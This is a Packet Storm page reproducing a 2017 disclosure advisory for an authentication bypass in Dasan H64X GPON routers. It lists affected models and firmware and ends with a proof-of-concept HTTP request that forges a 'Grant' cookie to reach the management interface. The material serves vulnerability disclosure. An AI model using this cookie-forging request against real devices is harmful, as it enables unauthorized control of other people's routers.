ignore security and it'll go away

Dasan Networks GPON ONT WiFi Router H64X Series Authentication Bypass

Dasan Networks GPON ONT WiFi Router H64X Series Authentication Bypass
Posted Jul 13, 2017
Authored by LiquidWorm | Site zeroscience.mk

Dasan Networks GPON ONT WiFi Router H64X Series does not properly perform authentication and authorization, allowing it to be bypassed through cookie manipulation. Setting the Cookie 'Grant' with value 1 (user) or 2 (admin) will bypass security controls in place enabling the attacker to take full control of the device management interface.

tags | exploit
MD5 | 2ac46a8fae0efacc57a1d3723fb041cc

Dasan Networks GPON ONT WiFi Router H64X Series Authentication Bypass

Change Mirror Download

Dasan Networks GPON ONT WiFi Router H64X Series Authentication Bypass


Vendor: Dasan Networks
Product web page: http://www.dasannetworks.com | http://www.dasannetworks.eu
Affected version: Model: H640GR-02
H640GV-03
H640GW-02
H640RW-02
H645G
Firmware: 2.76-9999
2.76-1101
2.67-1070
2.45-1045

Summary: H64xx is comprised of one G-PON uplink port and four ports
of Gigabit Ethernet downlink supporting 10/100/1000Base-T (RJ45). It
helps service providers to extend their core optical network all the
way to their subscribers, eliminating bandwidth bottlenecks in the
last mile. H64xx is integrated device that provide the high quality
Internet, telephony service (VoIP) and IPTV or OTT content for home
or office. H64xx enable the subscribers to make a phone call whose
quality is equal to PSTN at competitive price, and enjoy the high
quality resolution live video and service such as VoD or High Speed
Internet.

Desc: The vulnerable device does not properly perform authentication
and authorization, allowing it to be bypassed through cookie manipulation.
Setting the Cookie 'Grant' with value 1 (user) or 2 (admin) will
bypass security controls in place enabling the attacker to take full
control of the device management interface.

Tested on: Server: lighttpd/1.4.31
Server: DasanNetwork Solution


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2017-5421
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5421.php


19.05.2017

--


GET /cgi-bin/sysinfo.cgi HTTP/1.1
Host: 192.168.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Bond-James-Bond/007
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,mk;q=0.6
Cookie: Grant=1; Language=english; silverheader=3c
Connection: close

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    30 Files
  • 3
    Aug 3rd
    20 Files
  • 4
    Aug 4th
    17 Files
  • 5
    Aug 5th
    4 Files
  • 6
    Aug 6th
    2 Files
  • 7
    Aug 7th
    15 Files
  • 8
    Aug 8th
    18 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    24 Files
  • 11
    Aug 11th
    10 Files
  • 12
    Aug 12th
    3 Files
  • 13
    Aug 13th
    3 Files
  • 14
    Aug 14th
    10 Files
  • 15
    Aug 15th
    16 Files
  • 16
    Aug 16th
    18 Files
  • 17
    Aug 17th
    15 Files
  • 18
    Aug 18th
    4 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close